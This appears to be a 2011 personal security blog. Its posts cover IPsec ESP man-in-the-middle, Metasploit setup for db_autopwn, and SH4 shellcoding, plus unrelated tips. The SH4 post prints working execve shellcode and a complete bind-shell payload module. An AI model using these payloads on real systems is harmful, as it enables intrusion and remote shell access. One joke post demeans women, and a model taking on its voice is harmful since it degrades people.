Graland Security

Man in the middle on IPsec? Yes, we can!

2011-07-15T08:47:00.004+02:00

IPsec seems to be much less used than TLS. Maybe because, from a developper perspective, setting up a TLS socket looks much more easier than creating IPsec Security Associations (SA) and Security Policies (SP). If we look at security tools, we have lots to (attempt to) hijack TLS channels but nothing for IPsec so far.
On the other side, IPsec may be used more and more within devices to communicate with service providers or mainteners in a secure way (e.g. refering to IPv6).

In general, the ESP protocol is used: see RFC 4303. AH is much less used to my experience. It can be run in tunnel mode (encapsulating new IP headers and so protecting internal routing flaws), or in transport mode (hence, used in a way more similar to TLS).
In order to enable IPsec channels automatically, IKEv2 has been designed, and is described in RFC 5996. Basically, IKEv2 does the following:
- generates an initial SA by running a diffie hellman exchange and negotiating IKEv2 security algorithms,
- informs about SP within traffic selectors (what flaws to protect),
- authenticate peers,
- if authentication is successful and traffic selectors from peers matches, it generates new SA for the IPsec layer by deriving further the initial DH secret and renegogiating security algorithms.
This last SA is then pushed to the IP networking stack. In general in Linux, pf_key and xfrm interfaces can be used to configure the kernel. Lots of options and protocol kung-fu exist within IKEv2: e.g. in case of tunnel mode, an internal IP address can be requested by a peer acting as a client (think road-warriors connecting to a VPN gateway).

IPsec SA configured with IKEv2 cannot be retrieved by passively eavesdropping on the IKEv2 negotiation (unless you can factorize the large prime numbers used during the DH exchange...): unlike TLS, IKEv2 / IPsec SA are not transferred over the network (in the main mode of TLS, keys are transferred protected with the server's public key).
With IKEv2, you need to be active in the middle of the negotiation to manage yourself DH secrets, or you need to get access afterwards on one of the 2 peers' system and extract IPsec SA (in general on Linux, you need to be root). This is also why in wireshark, IPsec SA have to be configured completely for decoding ESP packet, whereas with TLS you only need to put the server's RSA secret key to decode an entire TLS session.

Being in the middle of an IKEv2 and IPsec connection still requires to break peers' authentication!
The main IKEv2 protocol accepts certificate or pre-shared key authentication. The pre-shared key mode allows to bruteforce the password offline, after running a fake IKEv2 server against a legitimate client. With the certificate mode, you can expect to meet the same issues than with TLS certificate authentication (mis-verification, mis-configuration, mis-implementation...).
Furthermore, IKEv2 accepts EAP authentication methods: e.g. EAP-MD5, EAP-TLS, EAP-SIM... Some of these methods can be insecure (e.g. those which are not generating MSK to be transferred to the IKEv2 layer, those that are not mutual authentication methods, those that allow replaying authentication exchanges...). Some making use of passwords can be bruteforced offline in the same way than the IKEv2 pre-shared key too.
There are plenty of authentication methods for IKEv2, and hence plenty of ways to break it!

But the purpose of this post is not about IKEv2 but IPsec ESP. So, after you manage to break the authentication scheme between 2 peers, you will be able to run you own instances of IKEv2 with each peers (this is left for the reader!). By doing so, it is possible to establish IPsec ESP SA with client and server independently. As soon as I have those SA, I can man-in-the-middle the IPsec ESP channel!
My first thought was to handle this directly within Linux, however and especially with the tunnel mode of ESP, routing issues are certainly going to happen.
So what???
...
Python!
And pycrypto.
I made a short class that is instantiated with both client and server Security Associations. It is only made to work with IPsec ESP over UDP (the NAT-Traversal mode): this avoids having to deal with raw sockets. Once an ESP packet is received from one of the peer, it is deciphered with an SA, reciphered and transferred toward the other peer. Optionnaly, it duplicates the unciphered ESP packet on a local interface (over GRE to 127.10.10.10) to have the clear content of the hijacked channel without effort in wireshark. This last feature does not work on microsoft OSes; this won't provide good result with ESP transport mode too...

The source of the class can be found here. It requires configuration of the class attributes: local_ip, local_port, cli_addr, srv_addr. Then, it is instantiated with the SA established with each peers: SA_cli and SA_srv. Each must have 'SPIi' and 'SPIr' as keys indexing a list containing encryption key, integrity protection key and SPI strings.
The class is coded to work with AES-CBC-128 and HMAC-SHA1-96, but can be changed easily by modifying the length of iv and mac and using the appropriate calls to pycrypto and hashlib.

And believe me: this works impressively!
No need to address IPsec system and network interfaces configuration, tunnel routing issues, neither ESP padding...
Holly python!

msf_autopwn Archlinux

2011-06-29T17:12:00.002+02:00

# Intro

A quick and dirty way to setup metasploit correctly if you want to use msf_autopwn

% msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 698 exploits - 358 auxiliary - 54 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops

msf > db_driver 
[*] No Active Driver
[*]        Available: 

[*]     DB Support: Enable the mysql driver with the following command:
[*]                 $ gem install mysql
[*]     This gem requires mysqlclient headers, which can be installed on Ubuntu with:
[*]                 $ sudo apt-get install libmysqlclient-dev

[*]     DB Support: Enable the postgresql driver with the following command:
[*]                   * This requires libpq-dev and a build environment
[*]                 $ gem install postgres
[*]                 $ gem install pg # is an alternative that may work

msf > msfconsole  11,08s user 0,88s system 2% cpu 7:45,16 total

We will install postgresql and the associated gem, pg (not postgres):

% packer -S postgresql
résolution des dépendances...
recherche des conflits entre paquets...

Cibles (1): postgresql-9.0.4-4

Taille totale des paquets (téléchargement):   4,19 Mo
Taille totale des paquets (installation):   22,90 Mo

Procéder à l'installation ? [O/n] 
:: Récupération des paquets du dépôt extra...
 postgresql-9.0.4-4-x86_64              4,2M    8,0M/s 00:00:01 [##################################] 100%
(1/1) vérification de l'intégrité des paquets                   [##################################] 100%
(1/1) analyse des conflits entre fichiers                       [##################################] 100%
(1/1) installation de postgresql                                [##################################] 100%
Dépendances optionnelles pour postgresql
    python2: for PL/Python support
    perl: for PL/Perl support
% sudo gem install pg
% msfconsole

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ metasploit v3.7.2-release [core:3.7 api:1.0]
+ -- --=[ 698 exploits - 358 auxiliary - 54 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops

msf > db_driver 
[*]    Active Driver: postgresql
[*]        Available: postgresql

[*]     DB Support: Enable the mysql driver with the following command:
[*]                 $ gem install mysql
[*]     This gem requires mysqlclient headers, which can be installed on Ubuntu with:
[*]                 $ sudo apt-get install libmysqlclient-dev

msf > db_n
db_nmap   db_notes  
msf > db_nmap -A -T2 -vvv 127.0.0.1
[-] Database not connected
msf > db_connect 
[*]    Usage: db_connect @/
[*]       OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*]        db_connect user@metasploit3
[*]        db_connect user:pass@192.168.0.2/metasploit3
[*]        db_connect user:pass@192.168.0.2:1500/metasploit3
msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: could not connect to server: Connection refused
        Is the server running on host "127.0.0.1" and accepting
        TCP/IP connections on port 5432?


Call stack:
/opt/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:2022:in `db_connect_postgresql'
/opt/metasploit/lib/msf/ui/console/command_dispatcher/db.rb:1725:in `cmd_db_connect'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:376:in `run_command'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:338:in `block in run_single'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:332:in `each'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:332:in `run_single'
/opt/metasploit/lib/rex/ui/text/shell.rb:143:in `run'
/opt/metasploit/msfconsole:130:in `'

This error means that the server is not started :

% sudo /etc/rc.d/postgresql start
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.

The database cluster will be initialized with locale C.
The default database encoding has accordingly been set to SQL_ASCII.
The default text search configuration will be set to "english".

fixing permissions on existing directory /var/lib/postgres/data ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 24MB
creating configuration files ... ok
creating template1 database in /var/lib/postgres/data/base/1 ... ok
initializing pg_authid ... ok
initializing dependencies ... ok
creating system views ... ok
loading system objects' descriptions ... ok
creating conversions ... ok
creating dictionaries ... ok
setting privileges on built-in objects ... ok
creating information schema ... ok
loading PL/pgSQL server-side language ... ok
vacuuming database template1 ... ok
copying template1 to template0 ... ok
copying template1 to postgres ... ok

WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the -A option the
next time you run initdb.

Success. You can now start the database server using:

/usr/bin/postgres -D /var/lib/postgres/data
or
/usr/bin/pg_ctl -D /var/lib/postgres/data -l logfile start

:: Starting PostgreSQL [DONE]

But the previous msf command is failing again :

msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: FATAL:  role "dad" does not exist

The according role can be created easily :

% sudo su - postgres
[postgres@XXX ~]$ createuser -P
Saisir le nom du rôle à ajouter : dad
Saisir le mot de passe pour le nouveau rôle : 
Le saisir de nouveau : 
Le nouveau rôle est-il super-utilisateur ? (o/n) o

Trying to connect again :

msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: FATAL:  database "dad" does not exist
[postgres@gambas ~]$ createdb dad
msf > db_connect test
[-] Error while running command db_connect: Failed to connect to the database: PGError: ERROR:  new encoding (UTF8) is incompatible with the encoding of the template database (SQL_ASCII)
HINT:  Use the same encoding as in the template database, or use template0 as template.
: CREATE DATABASE "test" ENCODING = 'utf8'

Oh ok sure, disconnect msf pg driver then :

msf > db_disconnect
[postgres@XXX ~]$ dropdb dad
[postgres@XXX ~]$ psql
postgres=# CREATE DATABASE "dad" ENCODING = 'utf8'

One last test :)

msf > db_connect test
NOTICE:  CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
...

Youhou! You can now proudly use db_autopwn :)

SH4 fun

2011-06-24T16:20:00.009+02:00

# Description

A brief tutorial on SuperH4 architecture.

# Specs

SuperH Family : http://www.renesas.com/media/products/mpumcu/superh/roadmap/shroadmap.gif

Source : http://www.renesas.com/products/mpumcu/superh/superh_landing.jsp

We will focus on the simple SH-4, also referred as SH7750 series. To start such an adventure we will need the precise description of this subtle architecture, and after some guessing we land at SuperH7750 Software Reference manual (http://documentation.renesas.com/eng/products/mpumcu/rej09b0318_sh_4sm.pdf).

There is, among other, the opcode list for this processor! As we won't make shellcodes on a sheet of paper, next step is to setup the whole environment. You have two possibilites here, boot your ultra rare superh machine, or emulate it with qemu. Let's describe the latter.

# Qemu setup

First thing to come in mind when you have to deal with uncommon architectures : google "aurel32 #REPLACE_WITH_ARCH". This debian man just made an awesome work by setting up debian qemu images for arm,........,sh4. So download the following files :

- http://people.debian.org/~aurel32/qemu/sh4/debian_sid_sh4_standard.qcow2

- http://people.debian.org/~aurel32/qemu/sh4/initrd.img-2.6.32-5-sh7751r

- http://people.debian.org/~aurel32/qemu/sh4/vmlinuz-2.6.32-5-sh7751r

By following the README, we launch qemu-system-sh4 with the following flags :

qemu-system-sh4 -M r2d -kernel vmlinuz-2.6.32-5-sh7751r -initrd initrd.img-2.6.32-5-sh7751r -hda debian_sid_sh4_standard.qcow2 -append "root=/dev/sda1 console=tty0 noiotrap" -net nic -net user -redir tcp:2222::22

Note that I added the tcp redirection to be able to ssh directly. Don't forget to "aptitude update && aptitude upgrade", as this is an old release you will have some stuff to update and unfortunately this emulated machine is slow as hell (btw you can fully read the specs in the meantime :).

http://community.qnx.com/sf/wiki/do/viewPage/projects.core_os/wiki/KernelSystemCall

# Shellcoding

First step, executing "/bin/sh" via a shellcode. Our architecture works essentially with registers, and according to the msdn documentation [1] we can identify their meaning :

 
 R0         Return values

 R1         Temp register
 R2         Temp register
 R3         Temp register

 R4         First function argument
 R5         Second function argument
 R6         Third function argument
 R7         Fourth function argument

 R8         Permanent register
 R9         Permanent register
 R10        Permanent register
 R11        Permanent register
 R12        Permanent register
 R13        Permanent register

 R14        Default frame pointer

 R15        Stack pointer

Now let's analyze how gcc compile a simple execve code :

root@debian-sh4:~# cat execve.c
void getshell()
{
   char *str = "//bin/sh";
   execve(str,0,0);
}

void main()
{
   getshell();
}
root@debian-sh4:~# gcc execve.c -o execve -g

We load it into our sh4 gdb :

root@debian-sh4:~# gdb -q execve
Reading symbols from /root/execve...done.
(gdb) disassemble main
Dump of assembler code for function main:
  0x004004f8 <+0>:     mov.l   r14,@-r15
  0x004004fa <+2>:     sts.l   pr,@-r15
  0x004004fc <+4>:     mov     r15,r14
  0x004004fe <+6>:     mov.l   0x400510 <main+24>,r1   ! 0x4004c0 <getshell>
  0x00400500 <+8>:     jsr     @r1
  0x00400502 <+10>:    nop
  0x00400504 <+12>:    mov     r14,r15
  0x00400506 <+14>:    lds.l   @r15+,pr
  0x00400508 <+16>:    mov.l   @r15+,r14
  0x0040050a <+18>:    rts
  0x0040050c <+20>:    nop
  0x0040050e <+22>:    nop
  0x00400510 <+24>:    .word 0x04c0
  0x00400512 <+26>:    .word 0x0040
End of assembler dump.

Call to a subroutine is done via the instruction jsr @addr, next step, the disassembly of the "getshell" function

(gdb) disassemble getshell
Dump of assembler code for function getshell:
  0x004004c0 <+0>:     mov.l   r14,@-r15
  0x004004c2 <+2>:     sts.l   pr,@-r15
  0x004004c4 <+4>:     add     #-4,r15
  0x004004c6 <+6>:     mov     r15,r14
  0x004004c8 <+8>:     mov     r14,r1
  0x004004ca <+10>:    add     #-60,r1
  0x004004cc <+12>:    mov.l   0x4004f0 <getshell+48>,r2       ! 0x40063c
  0x004004ce <+14>:    mov.l   r2,@(60,r1)
  0x004004d0 <+16>:    mov     r14,r1
  0x004004d2 <+18>:    add     #-60,r1
  0x004004d4 <+20>:    mov.l   @(60,r1),r1
  0x004004d6 <+22>:    mov     r1,r4
  0x004004d8 <+24>:    mov     #0,r5
  0x004004da <+26>:    mov     #0,r6
  0x004004dc <+28>:    mov.l   0x4004f4 <getshell+52>,r1       ! 0x400378 <execve@plt>
  0x004004de <+30>:    jsr     @r1
  0x004004e0 <+32>:    nop
  0x004004e2 <+34>:    add     #4,r14
  0x004004e4 <+36>:    mov     r14,r15
  0x004004e6 <+38>:    lds.l   @r15+,pr
  0x004004e8 <+40>:    mov.l   @r15+,r14
  0x004004ea <+42>:    rts
  0x004004ec <+44>:    nop
  0x004004ee <+46>:    nop
  0x004004f0 <+48>:    mov.b   @(r0,r3),r6
  0x004004f2 <+50>:    .word 0x0040
  0x004004f4 <+52>:    .word 0x0378
  0x004004f6 <+54>:    .word 0x0040
End of assembler dump.

Focusing on the execve function call, we can see that the address of our "/bin/sh" string is loaded in r4, then 0 in r5 and r6. In our shellcode we will only use syscalls to be as independant as possible. A step deeper, we have the execve@plt disassembly (not resolved) :

(gdb) disassemble execve
Dump of assembler code for function execve@plt:
  0x00400378 <+0>:     mov.l   0x40038c <execve@plt+20>,r0     ! 0x41076c <_GLOBAL_OFFSET_TABLE_+20>
  0x0040037a <+2>:     mov.l   @r0,r0
  0x0040037c <+4>:     mov.l   0x400388 <execve@plt+16>,r1     ! 0x400324
  0x0040037e <+6>:     jmp     @r0
  0x00400380 <+8>:     mov     r1,r0
  0x00400382 <+10>:    mov.l   0x400390 <execve@plt+24>,r1     ! 0x18
  0x00400384 <+12>:    jmp     @r0
  0x00400386 <+14>:    nop
  0x00400388 <+16>:    mov.b   r2,@(r0,r3)
  0x0040038a <+18>:    .word 0x0040
  0x0040038c <+20>:    mov.b   @(r0,r6),r7
  0x0040038e <+22>:    .word 0x0041
  0x00400390 <+24>:    sett
  0x00400392 <+26>:    .word 0x0000
End of assembler dump.

We run it one time to resolve :

(gdb) r
Starting program: /root/execve
Got object file from memory but can't read symbols: File format not recognized.
process 32715 is executing new program: /bin/dash
# exit

Program exited normally.
(gdb) disassemble execve
Dump of assembler code for function execve:
  0x29625d40 <+0>:     mov.l   r12,@-r15
  0x29625d42 <+2>:     mova    0x29625d9c <execve+92>,r0
  0x29625d44 <+4>:     mov.l   0x29625d9c <execve+92>,r12      ! 0xb7a34
  0x29625d46 <+6>:     mov     #11,r3
  0x29625d48 <+8>:     add     r0,r12
  0x29625d4a <+10>:    trapa   #19
  0x29625d4c <+12>:    or      r0,r0
  0x29625d4e <+14>:    or      r0,r0
  0x29625d50 <+16>:    or      r0,r0
  0x29625d52 <+18>:    or      r0,r0
  0x29625d54 <+20>:    or      r0,r0
  0x29625d56 <+22>:    mov.w   0x29625d98 <execve+88>,r1       ! 0xf000
  0x29625d58 <+24>:    cmp/hi  r1,r0
  0x29625d5a <+26>:    bt.s    0x29625d80 <execve+64>
  0x29625d5c <+28>:    mov     r0,r3
  0x29625d5e <+30>:    rts
  0x29625d60 <+32>:    mov.l   @r15+,r12
  0x29625d62 <+34>:    nop
  ....
  0x29625d7e <+62>:    nop
  0x29625d80 <+64>:    mov.l   0x29625d8c <execve+76>,r0       ! 0x198
  0x29625d82 <+66>:    stc     gbr,r1
  0x29625d84 <+68>:    mov.l   @(r0,r12),r0
  0x29625d86 <+70>:    bra     0x29625d90 <execve+80>
  0x29625d88 <+72>:    add     r0,r1
  0x29625d8a <+74>:    nop
  0x29625d8c <+76>:    .word 0x0198
  0x29625d8e <+78>:    .word 0x0000
  0x29625d90 <+80>:    neg     r3,r3
  0x29625d92 <+82>:    mov.l   r3,@r1
  0x29625d94 <+84>:    bra     0x29625d5e <execve+30>
  0x29625d96 <+86>:    mov     #-1,r0
  0x29625d98 <+88>:    fadd    fr0,fr0
  0x29625d9a <+90>:    nop
  0x29625d9c <+92>:    add     #52,r10
  0x29625d9e <+94>:    rts
End of assembler dump.

Better. This "trapa" instruction seems cool, with 11 in r3, let's see the execve syscall number :

root@debian-sh4:~# grep execve /usr/include/asm/unistd_32.h
#define __NR_execve              11

So r3 with the syscall number and r0 with the string address, perfect. Instructions are pretty limited and we can only push registers on the "stack", so to push a byte on the stack, it takes 4 bytes :

mov #imm, reg
mov reg,@-r15

First thought is to push bytes one by one (I am getting an error when putting immediate larger than 0xff) :

/*
* execve ("/bin/sh");
*
main:
       add     #-8, r15
       mov     r15, r4
       mov     #110, r2
       shll8   r2
       add     #105, r2
       shll8   r2
       add     #98, r2
       shll8   r2
       add     #47, r2
       mov.l   r2, @r15
       add     #4, r15
       xor     r2, r2
       shll8   r2
       add     #104, r2
       shll8   r2
       add     #115, r2
       shll8   r2
       add     #47, r2
       mov.l   r2, @r15
       mov     #11, r3
       xor     r5, r5
       xor     r6, r6
       trapa   #19
*/
#include <stdio.h>
#include <string.h>

char code[] = 
"\xf8\x7f\xf3\x64\x6e\xe2\x18\x42\x69\x72\x18\x42\x62\x72\x18"
"\x42\x2f\x72\x22\x2f\x04\x7f\x2a\x22\x18\x42\x68\x72\x18\x42"
"\x73\x72\x18\x42\x2f\x72\x22\x2f\x0b\xe3\x5a\x25\x6a\x26\x13"
"\xc3";

int main()
{
   printf("len:%d bytes\n", strlen(code));
   (*(void(*)()) code)();
   return 0;
}

But it is so fat! A ninja found another way to do it better here http://www.shell-storm.org/shellcode/files/shellcode-771.php, but this example focused on how to use the stack :)

# Metasploit ninja

We will add the SuperH4 architecture to metasploit :

% svn co https://www.metasploit.com/svn/framework3/trunk/
% svn diff
Index: lib/rex/constants.rb
===================================================================
--- lib/rex/constants.rb        (révision 13017)
+++ lib/rex/constants.rb        (copie de travail)
@@ -80,6 +80,9 @@
ARCH_TTY    = 'tty'
ARCH_ARMLE  = 'armle'
ARCH_ARMBE  = 'armbe'
+ARCH_SH4    = 'sh4'
+ARCH_SH4LE  = 'sh4le'
+ARCH_SH4BE  = 'sh4be'
ARCH_JAVA   = 'java'
ARCH_TYPES  =
       [
@@ -95,6 +98,9 @@
               ARCH_SPARC,
               ARCH_ARMLE,
               ARCH_ARMBE,
+               ARCH_SH4,
+               ARCH_SH4LE,
+               ARCH_SH4BE,
               ARCH_CMD,
               ARCH_PHP,
               ARCH_TTY,
Index: lib/rex/arch.rb
===================================================================
--- lib/rex/arch.rb     (révision 13017)
+++ lib/rex/arch.rb     (copie de travail)
@@ -63,6 +63,12 @@
                               [addr].pack('V')
                       when ARCH_ARMBE
                               [addr].pack('N')
+                       when ARCH_SH4
+                               [addr].pack('V')
+                       when ARCH_SH4LE
+                               [addr].pack('V')
+                       when ARCH_SH4BE
+                               [addr].pack('N')
               end
       end

The ARCH_SH4, ARCH_SH4BE and ARCH_SH4LE are now recognized by rex! As an example, we can simply create the metasploit module shell_bind_tcp.rb in modules/payloads/singles/linux/sh4/shell_bind_tcp.rb :

##
# $Id: shell_reverse_tcp.rb 12196 2011-04-01 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

   include Msf::Payload::Single
   include Msf::Payload::Linux
   include Msf::Sessions::CommandShellOptions

   def initialize(info = {})
       super(merge_info(info,
           'Name'          => 'Linux Command Shell, Bind TCP Inline',
           'Version'       => '$Revision: 1 $',
           'Description'   => 'Listen for a connection and spawn a command shell',
           'Author'        => 'Dad`',
           'License'       => MSF_LICENSE,
           'Platform'      => 'linux',
           'Arch'          => ARCH_SH4,
           'Handler'       => Msf::Handler::BindTcp,
           'Session'       => Msf::Sessions::CommandShellUnix,
           'Payload'       =>
               {
                   'Offsets' =>
                       {
                           'LPORT'    => [ 116, 'n' ],
                       },
                   'Payload' =>
                       #### Tested successfully on:
                       # Linux debian-sh4 2.6.39-2-sh7751r
                       ####
                       # s = socket(2, 1, 0)
                       "\x66\xe3"        +#   mov     #102,r3
                       "\x02\xe4"        +#   mov     #2,r4
                       "\x01\xe5"        +#   mov     #1,r5
                       "\x6a\x26"        +#   xor     r6,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x01\xe4"        +#   mov     #1,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # bind(s, {2, port, 16}, 16)
                       "\x03\x64"        +#   mov     r0,r4
                       "\x03\x68"        +#   mov     r0,r8
                       "\x2a\x22"        +#   xor     r2,r2
                       "\x26\x2f"        +#   mov.l   r2,@-r15
                       "\x15\xc7"        +#   mova    4000c8 <dup+0x18>,r0
                       "\x01\x62"        +#   mov.w   @r0,r2
                       "\x28\x42"        +#   shll16  r2
                       "\x02\x72"        +#   add     #2,r2
                       "\x26\x2f"        +#   mov.l   r2,@-r15
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x10\xe6"        +#   mov     #16,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x02\xe4"        +#   mov     #2,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # listen(s, 0)
                       "\x83\x64"        +#   mov     r8,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x6a\x26"        +#   xor     r6,r6
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x04\xe4"        +#   mov     #4,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # fd = accept(s, 0, 0)
                       "\x83\x64"        +#   mov     r8,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x66\x2f"        +#   mov.l   r6,@-r15
                       "\x56\x2f"        +#   mov.l   r5,@-r15
                       "\x46\x2f"        +#   mov.l   r4,@-r15
                       "\x05\xe4"        +#   mov     #5,r4
                       "\xf3\x65"        +#   mov     r15,r5
                       "\x13\xc3"        +#   trapa   #19
                       # dup2(fd, 2-1-0)
                       "\x03\x69"        +#   mov     r0,r9
                       "\x03\xea"        +#   mov     #3,r10
                       # <dup>:
                       "\xff\x7a"        +#   add     #-1,r10
                       "\x3f\xe3"        +#   mov     #63,r3
                       "\x93\x64"        +#   mov     r9,r4
                       "\xa3\x65"        +#   mov     r10,r5
                       "\x13\xc3"        +#   trapa   #19
                       "\x15\x4a"        +#   cmp/pl  r10
                       "\xf8\x89"        +#   bt      4000b0 <dup>
                       # execve(shell, 0, 0)
                       "\x0b\xe3"        +#   mov     #11,r3
                       "\x02\xc7"        +#   mova    4000cc <dup+0x1c>,r0
                       "\x03\x64"        +#   mov     r0,r4
                       "\x5a\x25"        +#   xor     r5,r5
                       "\x13\xc3"        +#   trapa   #19
                       "\x00\x00"        +#   LPORT
                       "\xff\xff"        +#   Junk
                       "/bin/sh"          #   Shell
               }
           ))

       register_options(
           [
               OptString.new('SHELL', [ true, "Shell to execute.", "/bin/sh" ])
           ], self.class)
   end

   def generate
       p = super

       sh = datastore['SHELL']
       p[120, sh.length] = sh

       p
   end

end

This is a simple example on how to perform a bind shell with a parametrable LPORT and SHELL. Their offsets are calculated relatively to the end. Note that I am using the socketcall syscall to handle the socket, listen, bind and accept commands. Arguments are pushed onto the stack respectively, then a pointer to this location is saved in r5, the syscall #63 is stored in r3 and finally r4 defines the action that socketcall should execute. Also, the dup2 over the three standards file descriptors is in a loop decrementing r10.

The shellcode is certainly far from optimal, but this is a first approach to this exotic architecture! I don't really know how to submit modules to metasploit framework, but if any of you knows ... :)

[1] http://msdn.microsoft.com/en-us/library/ms925519.aspx

C declarations and the almighty Hex-Rays

2011-05-04T15:22:00.001+02:00

Today at GNIF, someone asked us the following question : what is the output of this program ?

int p=0;
p = p++ + ++p;
printf("p=%d\n", p);

I let the readers test their knowledge on this one. On my side, after some spending a few minutes arguing with coworkers, I decided to see if IDA and the Hex-Rays plugin could help me. Here is the disassembly :

int __cdecl main()
{
  printf("p=%d\n", 3);
  return 0;
}

Hail to the almighty IDA !

From device names to UUID

2011-04-04T21:42:00.004+02:00

After installing my station with ArchLinux, I realized that my 2 SATA controllers were recognized in a random order by the kernel. This means my /dev/sda-b and /dev/sdc-d sometimes switched, and my root FS was simply ignored at boot (what makes the environment a bit... unusable). The solution is simply to change grub and Linux configurations to use disk's UUID or LABEL, instead of logical names.

After googling, the solution was here, thanks to some Linux magic:

$ ls -l /dev/disk/by-
by-id/    by-label/ by-path/  by-uuid/  
$ ls -l /dev/disk/by-uuid/
total 0
lrwxrwxrwx 1 root root 10 Apr  4 21:21 4de015b1-34a9-4c58-93e4-dc2c3e2502db -> ../../sdc1
lrwxrwxrwx 1 root root 10 Apr  4 21:21 5b507ae1-8b9e-4689-aea0-4e54e0790f46 -> ../../sdd2
lrwxrwxrwx 1 root root 10 Apr  4 21:21 921f9d8d-7921-48e7-ab72-9ee701633174 -> ../../sdd1
lrwxrwxrwx 1 root root 10 Apr  4 21:21 f05a3192-f8cf-4a22-836c-b82a6b00db04 -> ../../sdc2
lrwxrwxrwx 1 root root 10 Apr  4 21:21 fc8e3b24-0a5c-4138-bfd0-9a6cc0fb1ef5 -> ../../sdc3

These symlinks are updated at each boot to point to the right disk's logical name. So, I only needed to edit my /boot/grub/menu.lst and /etc/fstab files, referencing full path to disk UUID, e.g. /dev/disk/by-uuid/4de015b1-34a9-4c58-93e4-dc2c3e2502db instead of /dev/sdc1. Whatever logical names my SATA disks have, grub and Linux always get the right one.

TIP 1: always keep a backup entry in your grub with the old way your disk was referenced, just in case...
TIP 2: use the /dev/disk symlinks, instead of the UUID=4de015b1-34a9-4c58-93e4-dc2c3e2502db convention, which seems not to be recognized by the legacy grub (version 1).

The client - server model

2011-03-24T15:10:00.004+01:00

At GNIF, we discussed an interesting analogy during lunch. This was about the model of women and men's relationships: this is pretty much like the client and server model.
Woman requests / Man responses.
Woman posts / Man executes.
There is no real solution for the man to be at any initiative ;) He is simply acting as slave.

And we can come to the conclusion that the same behavior exists in a couple as in the Internet:
Woman requests something very difficult / Man reponses that is not authorized
Woman posts credentials / Man verifies credentials (...hummm)
Woman requests something very difficult / Man reponses OK
Also:
Woman floods with too much requests / Man denies service
Or even:
Naive woman requests / Man responses with hidden iframe
Naive woman gets her javascript engine exploited

The Twitter effect

2011-03-02T10:04:00.000+01:00

Once we were an unknown blog, posting stuff that will make our friends laught. Nobody cared, and it was good.

One day, because of an unfortunate random google hit, we were spotted by powerful twitters. And our peace was gone.

Fuck twitter ;-)

Importing metasploit tools into gdb

2011-02-17T11:49:00.007+01:00

By reading http://www.vnsecurity.net/2011/01/padocon-2011-ctf-karma-400-exploit-the-data-re-use-way/, I found longld use the pattern_create and pattern_offset metasploit tools directly into gdb. Because I am an eternal jealous I've imported it into .gdbinit with the following :

# pattern_create
define pattern_create
    if $argc != 1
        help pattern_create
    else
        shell ruby /opt/metasploit/tools/pattern_create.rb $arg0 
    end
end
document pattern_create
Usage: pattern_create length
end

# pattern_offset
define pattern_offset
    if $argc != 2
        help pattern_offset
    else
        shell ruby /opt/metasploit/tools/pattern_offset.rb $arg0 $arg1
    end
end
document pattern_offset
Usage: pattern_offset <search item> <length of buffer>
Default length of buffer if none is inserted: 8192
This buffer is generated by pattern_create() in the Rex library automatically
end

This is a first shot coded with feet, but that fit really well with the perfect http://reverse.put.as/wp-content/uploads/2010/04/gdbinit73. As I don't use [set a/b/c] they are not present here, but maybe in an updated version :) The <search item> and <length of buffer> switch of longld remains an opaque mystery!

Code available here :
http://paste.pocoo.org/show/340161/

